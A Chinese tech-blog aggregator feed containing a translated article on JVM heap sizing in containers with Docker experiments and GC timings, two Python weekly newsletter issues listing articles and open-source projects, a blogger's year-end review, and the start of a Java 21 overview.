本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

January 13, 2024 12:00 AM

January 08, 2024

javakk

当你只限制最大堆大小时会发生什么?

JVM的聪明把我们宠坏了。它在幕后做出了太多的决定,以至于我们很多人都放弃了去看里面的东西。与记忆相关的讨论可能更容易出现在会议或面试中,而不是“真正的”工作中。当然,这取决于你在做什么。

如今,Java应用程序通常在容器中运行。内置的容器感知使JVM尊重各种特定于容器的限制(例如CPU、内存)。这意味着,即使在使用伪java-jar app.jar运行应用程序时,一切都应该正常工作。这可能就是为什么提供的唯一与内存相关的选项通常是-Xmx标志(或其任何等价物)。换句话说,我们倾向于只限制最大堆大小,如下所示:

java -Xmx256m <hopefully few other options here> -jar app.jar 

看到这样的应用程序,我不禁想知道:当我们忽略其他与堆相关的标志时会发生什么?是否存在性能损失,尤其是在使用小堆运行时?引擎盖下面发生了什么?这里的容器有什么不同吗?

简单的答案是:JVM会为我们选择堆配置,但它的选择可能不是冰箱里最酷的啤酒。即使使用小堆,性能影响也可能是显而易见的,尤其是与有时默认的串行GC相结合。

让我们试着从一个实验开始解释它取决于什么。

注意:在本文中,术语“Java”和“JVM”指的是OpenJDK项目中最流行的HotSpot虚拟机。其他Java虚拟机实现(如Eclipse OpenJ9)的行为可能有所不同。所有的测试都是使用AmazonCorettoOpenJDK17发行版进行的。

试验

我创建了一个非常简单的Spring Boot 2.7应用程序,它公开了一个反应式REST端点和一组默认的执行器端点。选择这些依赖项只是为了让应用程序在启动时保持忙碌。已指示应用程序本身停止(通过调用System.exit(0);)在它完全初始化之后。它还采用以下配置进行了码头化:

FROM amazoncorretto:17.0.5-al2
COPY target/experiment-0.0.1-SNAPSHOT.jar app.jar
CMD ["java", "-Xmx128m", "-XX:+UseSerialGC", "-Xlog:gc", "-jar", "app.jar"]

然后,我继续运行应用程序,只更改容器的内存限制。其余参数(单CPU、最大堆大小为128m、启用串行GC和GC日志)保持不变:

❯ docker build -t heap-experiment:latest . >/dev/null 2>&1
❯ docker run --cpus=1 --memory=512m  heap-experiment:latest > logs-512m.txt
❯ docker run --cpus=1 --memory=1024m heap-experiment:latest > logs-1024m.txt
❯ docker run --cpus=1 --memory=1536m heap-experiment:latest > logs-1536m.txt
❯ docker run --cpus=1 --memory=2048m heap-experiment:latest > logs-2048m.txt
❯ docker run --cpus=1 --memory=4096m heap-experiment:latest > logs-4096m.txt

使用每次运行生成的GC日志,我能够计算出垃圾收集所花费时间的基本统计信息。单CPU与串行GC相结合,确保每次GC暂停实际上都在停止我们的应用程序。结果如下:

Container memory Pause Young events Pause Young total time Pause Full events Pause Full total time Total GC time
512m 103 69.627 ms 2 23.625 ms 93.252 ms
1024m 68 60.613 ms 1 15.540 ms 76.153 ms
1536m 49 54.170 ms 1 16.479 ms 70.649 ms
2048m 38 55.748 ms 1 14.935 ms 70.683 ms
4096m 18 40.504 ms 1 15.231 ms 55.735 ms

两种配置的GC总时间(512m与4096m)之间的最大差异接近37.5 ms。JVM将这段时间花在了额外的垃圾收集上,这显然是可以避免的。在某些用例中,启动时的这种差异实际上可能是显著的(甚至影响可靠性)!

那么,我们是否应该盲目地增加容器的内存限制呢?不是。相反,让我们看看这种差异是从哪里来的。

对于不耐烦的人:如果你想跳过关于JVM内部的部分,你可以直接跳到最后一段,再次讨论结果。

JVM人体工程学

JVM中负责许多默认配置选择的“神奇”部分被称为人机工程学。

人机工程学是Java虚拟机(JVM)和垃圾收集启发法(如基于行为的启发法)提高应用程序性能的过程。

JVM为垃圾收集器、堆大小和运行时编译器提供了依赖于平台的默认选择。此外,基于行为的调优动态优化堆的大小,以满足应用程序的指定行为。

HotSpot虚拟机垃圾收集调整指南:https://docs.oracle.com/en/java/javase/17/gctuning/ergonomics.html#GUID-DB4CAE94-2041-4A16-90EC-6AE3D91EC1F1

人机工程学过程做出的决定取决于目标环境(平台)。像CPU的数量或可用内存的数量这样的东西真的很重要。人机工程学行为可能因计算机和容器而异,这使得预测变得不那么简单。

堆大小是JVM人机工程学控制的一个方面,除非直接配置。快速回顾:堆是存储应用程序实例化的所有对象和数组的地方。这也是我们在谈论内存消耗时最常看到的(尽管它比这更复杂)。简而言之,JVM为我们分配了一定量的内存,这样我们就可以将应用程序的数据保存在那里。

要查看人机工程学控制的一些堆相关选项,我们可以设置-XX:+PrintFlagsFinal选项:

❯ java -XX:+PrintFlagsFinal -version 2>&1 | grep ergonomic | grep Heap | tr -s ' '
 size_t G1HeapRegionSize = 4194304 {product} {ergonomic}
 size_t InitialHeapSize = 536870912 {product} {ergonomic}
 size_t MaxHeapSize = 8589934592 {product} {ergonomic}
 size_t MinHeapDeltaBytes = 4194304 {product} {ergonomic}
 size_t MinHeapSize = 8388608 {product} {ergonomic}
 uintx NonNMethodCodeHeapSize = 5839564 {pd product} {ergonomic}
 uintx NonProfiledCodeHeapSize = 122909338 {pd product} {ergonomic}
 uintx ProfiledCodeHeapSize = 122909338 {pd product} {ergonomic}
 size_t SoftMaxHeapSize = 8589934592 {manageable} {ergonomic}

涵盖所有这些选项对本文来说太多了。幸运的是,其中只有三个与我们的示例最相关:MinHeapSizeInitialHeapSizeMaxHeapSize

堆大小配置

我将在这里使用一种在运行时获取当前堆大小配置的替代方法。通过设置-Xlog:gc+init,JVM将在启动时记录一些与JVM相关的配置参数。

❯ java '-Xlog:gc+init' \
    -XX:MinHeapSize=16m \
    -XX:InitialHeapSize=32m \
    -XX:MaxHeapSize=100m \
    -jar app.jar 2>&1 | grep Capacity
    
[0.003s][info][gc,init] Heap Min Capacity: 16M
[0.003s][info][gc,init] Heap Initial Capacity: 32M
[0.003s][info][gc,init] Heap Max Capacity: 104M

这些配置值映射到java命令的特定选项:

  • 最小容量(-XX:MinHeapSize=size):内存分配池的最小大小(以字节为单位)
  • 初始容量(-XX:InitialHeapSize=size):内存分配池的初始大小(以字节为单位)
  • 最大容量(-XX:MaxHeapSize=size,简称-Xmx):内存分配池的最大大小(以字节为单位)

等一下…著名的-Xms在哪里?尽管经常混淆,-Xms将堆的最小大小和初始大小都设置为相同的值。让我们举一个例子来说明

❯ java '-Xlog:gc+init' -Xms32m -Xmx100m \
    -jar app.jar 2>&1 | grep Capacity
    
[0.003s][info][gc,init] Heap Min Capacity: 32M
[0.003s][info][gc,init] Heap Initial Capacity: 32M
[0.003s][info][gc,init] Heap Max Capacity: 104M

好的,但是如果我们不明确地设置这些值呢?这就是JVM人机工程学的用武之地。根据HotSpot Virtual Machine Garbage Collection Tuning Guide:https://docs.oracle.com/en/java/javase/17/gctuning/ergonomics.html#GUID-DA88B6A6-AF89-4423-95A6-BBCBD9FAE781,默认值为:

物理内存的1/64的初始堆大小

最大堆大小为物理内存的1/4

不幸的是,指南中没有提到最小堆大小。java命令引用声明:

默认值是在运行时根据系统配置选择的。

根据我使用Docker运行的一些测试,无论有多少内存可用,默认的最小堆大小很可能是8M。然而,我不能向你保证它总是这样。JVM人机工程学有很多优点,但可预测性肯定不是其中之一…

动态调整堆大小

启动时,JVM为堆分配一定量的内存(初始容量)。在应用程序生命周期中,人机工程学过程可以根据确定的应用程序需求来决定缩小或扩大堆。然而,堆的大小必须始终介于最小容量和最大容量之间,这给了我们一个简单的公式:

Min Capacity <= Initial Capacity <= Max Capacity

JVM是如何做出这样的决定的?再一次,我们可以在HotSpot虚拟机垃圾收集调优指南:https://docs.oracle.com/en/java/javase/17/gctuning/factors-affecting-garbage-collection-performance.html#GUID-B0BFEFCB-F045-4105-BFA4-C97DE81DAC5B 中找到一些提示:

默认情况下,虚拟机会增加或缩小每个集合的堆,以尝试将每个集合的可用空间与活动对象的比例保持在特定范围内。

默认情况下,JVM的目标是在一代中保持40%到70%的可用空间。相应的配置选项为-XX:MinHeapFreeRatio-XX:MaxHeapFreeRatio

听起来很简单?让我让你失望吧。在同一指南中,我们可以看到JVM还可以尝试“优先满足”两个目标之一:最大暂停时间(-XX:MaxGCPauseMillis)和吞吐量(理解为未用于垃圾收集的时间百分比,-XX:GCTimeRatio)。当没有达到首选目标时,JVM将尝试达到另一个目标。如果同样失败,则可能会调整堆的大小。

更不清楚的是,所选的垃圾收集器也可能影响此堆大小调整策略。根据-XX:MaxGCPauseMillis选项文档:

默认情况下,其他几代收集器不使用暂停时间目标。

根据指南(https://docs.oracle.com/en/java/javase/17/gctuning/ergonomics.html#GUID-034BAF7C-2F2E-483D-8606-0BF2B8710BC9),即使在一些相当稳定的条件下,我们也可能预计堆大小会发生变化:

通常情况下,堆的大小会随着垃圾收集器试图满足竞争目标而波动。即使应用程序已达到稳定状态,也是如此。实现吞吐量目标(可能需要更大的堆)的压力与最大暂停时间和最小占地面积(两者都可能需要小堆)的目标相竞争。

最小堆大小限制GC攻击性。即使根据人体工程学,堆应该进一步缩小,也不能低于这个值。我们自己选择错误的值可能会阻止JVM实现上述目标。将其保留为默认值(很可能是8MB),允许进行人体工程学过程的实验。

每一个次优JVM决策都会降低应用程序的速度。如果选定的值太小,GC压力可能会增加。如果它太大,GC暂停时间可能会比实际时间长。然而,对于我们的许多应用程序来说,这可能已经足够好了。这也绝对比猜测要好。然而,如果您为每一毫秒而奋斗,您可能想要限制JVM人机工程学的自由度。

此外,JVM标识的“稳定状态”可能因起点而异。仅增加我的一个实际应用程序的初始堆大小,就显著减少了平均GC时间和垃圾收集频率。重要的是,这种比较是在相同的受控负载下进行的。

观察JVM的人机工程学可以告诉你很多关于你的应用程序的信息。根据JVM确定的稳定状态选择堆配置选项感觉是一个非常好的起点。通过这种方式,我们可以尝试制作当前设置的“快照”,然后将其转换为-Xms-Xmx等配置参数。

试验重访

由于我们现在对自动化堆大小有了更多的了解,因此很容易解释实验中发现的差异。唯一对内存限制敏感的默认值是初始堆大小,这在应用程序运行时有所不同。让我们更新结果表以更好地说明这一点。

Initial heap size Container memory equivalent Pause Young events Pause Young total time Pause Full events Pause Full total time Total GC time
8m 512m 103 69.627 ms 2 23.625 ms 93.252 ms
16m 1024m 68 60.613 ms 1 15.540 ms 76.153 ms
24m 1536m 49 54.170 ms 1 16.479 ms 70.649 ms
32m 2048m 38 55.748 ms 1 14.935 ms 70.683 ms
64m 4096m 18 40.504 ms 1 15.231 ms 55.735 ms

初始堆大小越小,观察到的GC暂停就越多。从理论上讲,如果应用程序生成的所有对象都符合初始堆大小(假设有适当的可用空间缓冲区),那么我们在启动时就不需要一个GC Pause。

有趣的是,前两次运行的最终堆使用量(在停止应用程序之前测量)接近2200万。在8m/512m的情况下,堆在到达那里之前已经调整了3次大小。在16m/1024m的版本中,只需要调整一次大小。这就解释了这两者在GC时间上的显著差异。它还证明了动态调整大小是有代价的。

对于更大(更忙)的应用程序,我预计启动时的差异会更大。由于他们的初始化过程要复杂得多,这也会给GC带来更多的工作。这就是为什么选择正确的初始堆大小可能如此重要。

在启动时,初始堆大小似乎比最小堆大小更重要。由于应用程序通常会生成大量对象,因此减少堆的可能性相对较低。如果内存压力下降,那么最小堆大小稍后可能会产生更大的影响。

即使使用非单线程GC和更多可用的CPU“核心”,完整GC暂停也可能很痛苦。由于它们是最昂贵的GC操作,我们应该尽可能地限制它们的数量。根据结果,过低的初始堆大小会使应用程序启动期间的Full-GC暂停更加频繁。

我选择观察应用程序启动而不是长时间应用程序操作的原因是可重复性。后者在很大程度上取决于产生的(人为的)负荷,这可能与“真实的”负荷非常不同。启动一个Spring Boot应用程序感觉就像是一个典型的、真实的用例。

总结

当您仅限制最大堆大小时,JVM人机工程学将选择最小和初始大小。初始堆大小默认为可用内存的1/64。因此,当在容器中运行时,最好显式设置它。

根据我的实验,太小的初始堆大小可能会增加GC压力,甚至影响应用程序的启动时间。你越关心整体延迟和吞吐量,就越有可能需要介入。自行定义与堆大小相关的限制可能会对这里产生重大影响。

JVM人机工程学是一门真正的艺术,但它也很难预测。JVM将尽力在运行时调整设置,但这并不能确保其选择是最佳的。即便如此,从性能的角度来看,走向这些选择的道路有时可能是不可接受的。然而,通过观察所选择的值可以作为更高级调整的良好起点。

旁注

  • 前面提到的java命令选项并不是调整堆大小的唯一方法-XX:MinRAMPercentage-XXX:InitialRAMPercentation-XXX:MaxRAMPercentage。然而,他们的行为并不总是像我们想象的那样。有些人将这些标志宣传为更好的标志,因为它们允许将堆与容器的内存一起缩放。然而,在特定的危机情况下,盲目增加两者可能会使情况变得更糟。可以说我过时了,但我个人更喜欢明确地设置尺寸。
  • 无论您选择哪种最大堆大小标志,请记住:限制最大堆大小没有错误的方法。在我能想到的大多数情况下,这是一个值得拥有的安全网。只需选择其中一个并了解它是如何工作的。
  • 在某些场景中,可能值得调整更复杂的方面,如堆的Young和Old代的大小(当使用像G1这样的收集器时)。如果你的应用程序产生的短命对象明显多于长寿对象(或者相反),你可能想尝试一下。然而,对于大多数应用程序来说,这可能有点太多了。
  • 提高自动调优可预测性的最广为人知的方法可能是禁用自动堆大小调整:
  • -Xms-Xmx设置为相同的值可以从虚拟机中删除最重要的大小调整决定,从而提高可预测性。但是,如果您选择不当,虚拟机将无法进行补偿。
  • 前面提到的HotSpot虚拟机垃圾收集调整指南是一个很好的知识来源。尽管它不能回答我们所有的问题,但我仍然建议阅读它:https://docs.oracle.com/en/java/javase/17/gctuning/introduction-garbage-collection-tuning.html#GUID-326EB4CF-8C8C-4267-8355-21AB04F0D304
  • 在Kubernetes上运行时,配置其他JVM参数可能很棘手。幸运的是,Bruno Borges有一个名为“Kubernetes上性能调优Java的秘密”的精彩演示:https://vimeo.com/748031919,涵盖了其中的许多内容。相信我,看完之后,你再也不会用同样的方式看你的容器了!

原文地址:https://mikemybytes.com/2022/11/15/what-happens-when-you-only-limit-the-maximum-heap-size/

by sofia at January 08, 2024 12:00 AM

January 06, 2024

pythoncat

Python 潮流周刊#34:Python 3.13 的 JIT 方案又新又好!

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯,欢迎关注。

🦄文章&教程

Python 3.13 将引入一个 copy-and-patch JIT 编译器,这项新功能尽可能地利用了 LLVM 生态的东西,编译器用 clang,编译参数开 -o3 获取最大的性能,二进制工具用 llvm-objdump 和 llvm-readelf,方案可谓是又新又好。(附:Python JIT 编译器 - 即时编译 ,分析了主流的 Python JIT 编译器的优缺点(如 PyPy、Numba 和 Cython))
如何用 Python 读取 Excel 文件?文章从速度、类型、正确性三个维度,分别用 Pandas、Tablib、Openpyxl、LibreOffice、DuckDB 和 Calamine 读取 Excel,得出了性能上的排名。
Flask 是强大且灵活的 Web 框架,这篇入门教程介绍了如何设置 Flask 项目、开发入门级项目、使用蓝图添加多页面、使用 Jinja 模板、存储静态文件等内容。
余弦相似度是机器学习和信息检索中广泛使用的指标,文章以它为例,介绍了一些底层优化方法,从纯 Python 版本开始,Numpy 导致性能变慢、Scipy 提升 2-5x、C 语言提升 200x、SIMD 内部函数提升 400x、结合 AVX-512 与 BMI2 后 747x、增加 AVX-512FP16 后升至 1260x、使用 AVX-512VNNI 提升 2521x。
Stable Diffusion XLMidjourney v6 等最新的 AI 模型可以生成极其逼真的图像,人眼已经越来越难以分辨真假。作者训练了一个能够检测 AI 生成图像的分类器,可获得 99% 准确率的结果。
作者敏锐地发现 sum、all、any 和 math.prod 几个函数在入参为空列表时,都有恰当的默认值,然而 maxmin 函数却会报错!作者认为它应该等于负无穷大,你们怎么看?
Appium 是常用的 Android UI 自动化测试工具,文章出自一个 Appium 自动化测试系列教程。
如何给 Django 应用添加异步的实时事件?不使用 Redis,使用 Django 最新的异步特性。文章演示开发了一个极简的 Web 端即时通讯应用。
Python 有哪些常用的数值数据类型?它们有哪些特点,CPython 内部是如何实现的?文章介绍了整数、浮点数和复数类型,以及 math、decimal 和 fractions 三个模块。(附:PEP-3141—数字的类型层级
如何在 asyncio 程序中实现非阻塞记录日志?文章介绍了如何用共享的 QueueQueueHandler 来记录日志,并使用 QueueListener 来存储日志。
Instagram 在 2010-2011 年从 0 到 1400 万用户,那时仅仅有 3 名工程师!他们用了什么技术栈,有什么成功经验可给我们借鉴的?文章介绍了它使用到的相关技术和实现方案。
Google 设计出 Starlark 旨在取代 Python 作为构建描述语言,语法非常相似。这份文档说明了它的一些设计原则,以及跟 Python 语言的诸多差异,比如它的布尔值不是整数、字符串不可迭代、没有“is”运算符、for/if 语句不允许在函数外部使用,等等。
文章出自正在连载的免费在线电子书《数据工程设计模式》(Data Engineering Design Patterns)。数据工程经历了 SQL、维度建模、商业智能和大数据、MapReduce 和 Hadoop、云革命等阶段。
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

简单快速实现对文件的监听,使用 Rust 的Notify 库处理底层文件系统通知,支持同步和异步监听处理。(star 1.4K)
from watchfiles import watch

for changes in watch('./path/to/dir'):
    print(changes)
hy 是 Python 的一种替代语法,与 Python 相比,它提供了各种额外的功能、泛化和语法简化。与其它 Lisp 相比,它提供了对 Python 内置和第三方库的直接访问。(star 4.7K)
使用 Rust 开发的工具,可构建运行时自启动的 Python 应用程序,为每个平台构建独立的二进制包。
提供了 URL 类,可便利解析和修改 URL,支持通过属性方式访问 url 的每个部分。(star 1K)
自动生成 API 接口规范文档,支持 OpenAPI 规范(即 Swagger 规范),与框架无关,内置对marshmallow 的支持。(star 1.1K)
简单的对象序列化库,与 ORM/ODM/框架无关,可用于验证输入数据、序列化与反序列化,提供有丰富的字段类型,支持多种数据格式。(star 6.8K)
单链接网站(one-link website)适合用作个人主页,这个网站模板使用 Github Pages 部署,让你轻松省力地构建美观的个人主页。
简化文档类的处理操作,支持身份验证和授权、列表权限控制、文档的增删改查、文档预览、版本控制等。
国人作品。利用 ChatGPT 根据你的简历和某招聘网站的职位描述,自动匹配和生成求职信息,自动发送给招聘人员。求职寒冬季,祝你好运!
简化的 Hacker News 阅读客户端,没有登录、投票、发布等功能,支持查看用户和评论信息。
实现了对 Mixtral-8x7B 模型的高效推理,需要大约 16 GB 的 VRAM 和 11 GB 的 RAM。(star 1.4K)
文件的数据被覆盖或删除了,还能找回么?这是一个 Linux 上的文件&数据恢复工具,支持文本搜索,支持交互式操作。(star 1.1K)
在移动设备上运行的多模态视觉语言模型 (MMVLM),有 1.4B 和 2.7B 参数规模,在高通骁龙 888 CPU 和 NVIDIA Jeston Orin GPU 上分别获得每秒 21.5 个 token 和 65.3 个 token 的优秀性能。

🐢播客&视频

独立开发者怎么做技术选型?为什么图拉鼎会用 Python 作为自己项目的后端语言?(附:两年前的另一期播客 ByteTalk 3. 跟图拉鼎聊聊独立开发者的那些事
以面向 Python 开发者的视角来对比和学习 Rust 编程,介绍了主要特性的差异(比如 Python 的类和 Rust 的 struct)。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

January 06, 2024 12:00 AM

January 02, 2024

howiehz

如何在 Python 实现程序加载插件(动态加载模块文件,插件化开发)

内容概要:如何在python实现程序加载插件(动态加载模块文件,插件化开发) 初发布于如何在python实现程序加载插件(动态加载模块文件,插件化开发) - 知乎 (zhihu.com) 发布于 2022.06.19 10:14 后发布于项目FSMargoo/one-day-one-point: 每

by HowieHz at January 02, 2024 01:12 PM

January 01, 2024

pythoncat

Python 猫的 2023 年终回顾

2023 年是 Python猫 创办的第 5 年,2024 年已经到来了,我们照例做一个简短的年终回顾吧。
1、30000 订阅与 200 原创。 2020 的年终总结时,公众号订阅数刚破 20000,3 年后,我们终于也达成了 30K 成就。另外原创文章数也突破了 200 篇。如果你已经关注了,记得加个星标,否则有可能无法及时看到推送。如果你是在其它平台关注的,欢迎也到公众号上点个关注 呢~~
2、Python 潮流周刊。 潮流周刊是我们过去一年最大的变化,是我最主要的精力投注之处。现在已更新到第 33 期,我的长期目标是坚持个 5 年。每周一期的周刊目前还需要耗费我比较多时间精力,新一年里计划会做一些自动化和效率提升。周刊里绝大部分内容是英文,中文内容偏少,主要原因是中文的内容创作者偏少/我接触有限,欢迎大家来推荐/自荐。
3、个人博客。 周刊中主要就是分享信息链接,但某些封闭的平台却不支持,这促使我搭建了个人博客,把它作为了自己文章的首发平台。博客每月的浏览量在 10K 左右,新的一年希望能更上一步。Github、Vercel 和 Cloudflare,现在搭建个人博客真是太简单方便了,建议没有博客的同学都去了解和动手一下。
4、Github 项目。 Python 潮流周刊Python 为什么 两个项目有幸得到@Barret李靖 的推荐,星星数双双破千了!两个都算是技术科普类项目,希望能让一些新接触 Python 的人增加知识面,真的喜欢上这门语言。
5、Telegram、Twitter 和 Feedly。 过去我不用 Telegram,少用 Twitter,Feedly 则停用了很多年。没有特殊的原因,就是某项上网技能不足。目前电报频道@pythontrendingweekly 有 1.6K 关注,Twitter 有 1.4K 关注,在新一年里有了不错的起步。Feedly 里的订阅源已经飙升到 450+,重塑了我的信息摄取习惯,对写作周刊帮助极大。我感觉打开了新世界的大门,以后有时间会详细聊聊这些。
6、即刻与小红书,头条与星球。 过去几年里,我会持续分享一些文章之外的微头条/短小内容,不知不觉,今日头条获得了 28K 关注,Python知识星球也有 2.6K 关注。但断崖式的阅读和互动让我寒心,我下定了决心,会逐渐抛弃它们。即刻和小红书是新的尝试,作为观察席的替代补充。
7、2023 + 2022 年的文章。 近两年创作/翻译的文章依然是很少,一个原因是自己胸无点墨,另一原因感觉已被这张图精准概括了……
2023 年的周刊为我增加了不少内容输出量,曾梳理过《Python 潮流周刊第一季完结(1~30)》,这里就不罗列所有文章了。以下是 2023 年的文章合集:
2022 年末,由于个人状态不佳/实在是懒,没有写年终总结。这里也把过去的文章罗列记录出来。以下是 Python猫 2022 年的文章:
最后附往年回顾:

January 01, 2024 12:00 AM

December 30, 2023

pythoncat

Python 潮流周刊#33:FastAPI 很好,Flask 也没死,它们都有未来

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯。

🦄文章&教程

一篇标题十分吸睛引战的文章。说实话因见过太多“xxx 已死”、“再见了 xxx”这种煽动情绪的标题,我已经习惯绕道不读。比较框架优缺点,这非常合理,但刻意往贬低一方的角度引,就显狭隘了。(附:一篇回应文 Flask 已死,FastAPI 永生、对回应文的回应文 理性参与讨论《Flask 已死,FastAPI 永生》
如何用 Python 搭建属于自己的 RSS 信息流网站?文章介绍了一个完整的 Flask 项目,支持对接 RSS、解析文章、自动更新,最后部署上线并使用 Nginx 作反向代理。
作者介绍了自己开源的一个语法类似于 Flask 的 Web 框架,完全支持 asyncio 异步,支持 Websocket、SSE、CORS、Jinja 和 uTemplate 模板等功能。非常小(核心框架代码 700 多行),可以跟 MicroPython 一起使用。
在近 20 年前的早期智能手机上运行当下最火的大语言模型,这事感觉蛮有趣!作者使用大小为 4GB 的Llama-2–7B-Chat-GPTQ 模型,最先尝试用 Streamlit 创建应用,但发现它的浏览器不支持,最后用 Flask 开发一个简单的网页,实现与 LLM 的交互!
Asyncio 出现晚,不像goDartjs一样隐式的运行事件循环,又使用了asyncawait的语法,所以很容易用错。文章介绍了三个坑,以及正确的避坑方法。
原文很短,推荐阅读。文章是三段“冒险故事”,主旨是让我们看到 Bash、Lua、Python 和 Rust 在实现常规 for 循环及推导式和迭代器写法时的相似性与差异性。(附:作者的另一篇 数据兔子洞:爱丽丝从 Pandas 到 DuckDB 仙境的冒险
YAMLScript 是一种函数式编程语言,其语法使用 YAML 编码。它提供了 Python 的yamlscript 库,可与PyYAML 一样操作 YAML 文件,支持最新的 YAML 1.2 规范,还可使用 YAMLScript 函数来生成或操作数据。
Python 有不少命令行标记,文章主要介绍了“-m”标记的用法。我非常认可原文标题中用“Coolest”形容这个标记。早在 2019 年,我写过一篇更为详尽的文章《Python 中 -m 的典型用法、原理解析与发展演变》,若你没读过,我诚心推荐!
持续集成(简称 CI)是将开发者的代码合并到主存储库中的过程,它涉及的环节不少:提交前测试、代码格式化、静态分析、解决冲突等。很多任务需要用自动化方式,文章详细介绍了 CI 入门、CI 平台选择、CI 任务实践、CI 任务扩展等话题。
一篇很详细的 Type Hints 教程,大部分内容是对《流畅的 Python 第二版》与官方文档的总结,后续基于 Python 3.12 重新编排并新增了一些内容。(投稿自@JayYoung2021
Pyinstaller 可以将 Python 脚本转换为 Windows 可执行文件。为什么实际没问题的代码,却可能被检测为病毒呢?如何避免被防病毒软件误伤呢?文章介绍的解决方案有:避免单文件模式、自行构建 Pyinstaller 的引导加载程序、使用代码签名证书、使用 Nuitka/Inno Setup 等替代工具。
“字体子集”指的是一个字体文件的部分,它有助于优化性能,减少下载时间。作者介绍了自己开源的用于生成字体子集的 Python 库fontimize ,可以减少字体文件约 95% 的大小。
周刊第 27 期分享过 Python 3.13 正在开发一个 JIT 编译器的消息,现在 @brandtbucher 已经提交了 PR 啦(恰在圣诞节前)!commit 信息像是一首诗,蛮有意思。
Python 中用zip 将两个列表合并,就像一个拉链, Unix 中的paste 命令可执行相同操作,它的比喻是粘贴:将一列放到另一列旁边。paste 可追溯到 1978 年,zip 则追溯到 1988 年,但现在这两个词通常被视作其它含义:paste 总是用于“复制和粘贴”,zip 是压缩文件格式。
作者做了一个看似很无聊的尝试,成功将 40 亿个 if 语句写入到 40GB 文件中,可以快速判断任意 32 位数字是偶数还是奇数。这当然是没有现实用处的,但阅读文章你会了解做成这件事并不简单:如何高效写出这么多 if 语句?如何控制文件大小避免编译错误?如何加载和执行才能提升性能?
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

一个基于 Python 的 UI 框架,可以创建按钮、对话框、Markdown、3D 场景、绘图等前端标准元素,内置定时器定时刷新数据,支持 Tailwind CSS 自动补全,支持在 Jupyter Notebook 运行。(star 6.2K)
一套用于转换和处理 CSV 的命令行工具,一行命令实现一种常见功能,包括 Excel 转 CSV、JSON 转 CSV、CSV 转 JSON、打印列名、查找匹配单元格的行、生成统计信息、使用 SQL 方式查询表数据、导入和查询数据库数据。(star 5.7K)
# 从 PostgreSQL 中提取数据到 CSV 文件
sql2csv --db postgresql:///database --query "select * from data" > new.csv
基于 Flutter/LVGL 开发,支持多种操作系统,支持深色/浅色主题,支持响应式。采用编译时代码生成技术,性能卓越;原生支持 MVVM, 数据驱动 UI。
开发个人语音助手,将你的语音转成文本给 GPT-3 以生成响应,使用 ElevenLabs 将大模型的响应转为语音,使用 Pygame 播放,使用 Taipy 呈现在网页上。
你敢相信么,只需加上这个库的一行装饰器代码,就能将 CLI 程序转换成用户友好的 GUI 程序?这个项目已存在多年,star 数很多。(star 20K)
Mojo 还没有官方的包管理工具,因此作者用 Python 开发了一个。主要借鉴 Rust cargo 和 Python poetry ,规划提供的能力是:mod = cargo + rustup + poetry + pyenv。
建立在 Pinecone 矢量数据库之上的 RAG 框架,只需简单的命令即可与文档数据聊天。包含文本数据分块与嵌入、聊天记录管理、查询优化、上下文检索(包括提示工程)和增强生成等功能。
手机端社交约会 APP 项目,这是后端程序。使用 Django 框架,使用 Gdal、Geos 和 Postgis 进行地理定位。支持推荐匹配、聊天、群聊等功能。
支持抖音、Tiktok、快手、虎牙、斗鱼、B站、小红书等平台直播录制,抓取多平台直播源地址,抖音无水印解析,快手无水印解析。基于 FFmpeg 实现,支持自定义配置录制以及直播状态推送。
使用创新的方案,为当前基于扩散的图像生成技术引入了显著的性能增强。(star 6.4K)
一个无依赖的 SQL 解析器、转译器、优化器和引擎。可用于格式化 SQL 或在 20 种不同的方言之间进行翻译,例如 DuckDB、Presto / Trino、Spark / Databricks、Snowflake 和 BigQuery。(star 4.4K)
将包含数学公式的图像或 pdf 转换为 Markdown 和 LaTeX 格式,可以在 CPU、GPU 或 MPS 上运行。与同类的 Pix2texnougat 项目不同,它支持更多样化的 Web 场景。
一个基于 Calibre 的个人图书管理系统,支持在线阅读。后端采用 Tornado 框架,前端采用 Vue.js 和 Readium.js。界面美观,支持多用户、在线阅读、批量导入、邮件推送、书籍信息自动更新、私人模式等功能。(star 2K)

🐢播客&视频

这是 UP 主@今天晚放学 基于我的文章制作的视频,算得上是一份 2024 年元旦贺礼了!相信很多读者已经看过文章版(毕竟上期周刊我还心血来潮分享过),但我还是推荐你再看看这则视频版。另外,作者的“编程美学”系列视频,做的真不错。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

December 30, 2023 12:00 AM

December 26, 2023

aneasystone

Java 21 初体验

2023 年 9 月 19 日,Java 21 发布正式版本,这是 Java 时隔两年发布的又一个 LTS 版本,上一个 LTS 版本是 2021 年 9 月 14 日发布的 Java 17

jdk-versions.png

Java 17 目前是使用最广泛的版本,但随着 Java 21 的发布,这一局面估计会很快被打破,这是因为 Java 21 可能是几年内最为重要的版本,它带来了一系列重要的功能和特性,包括 记录模式switch 模式匹配字符串模板分代式 ZGC不需要定义类的 Main 方法,等等等等,不过其中最为重要的一项,当属由 Loom 项目 发展而来的 虚拟线程。Java 程序一直以文件体积大、启动速度慢、内存占用多被人诟病,但是有了虚拟线程,再结合 GraalVM 的原生镜像,我们就可以写出媲美 C、Rust 或 Go 一样小巧灵活、高性能、可伸缩的应用程序。

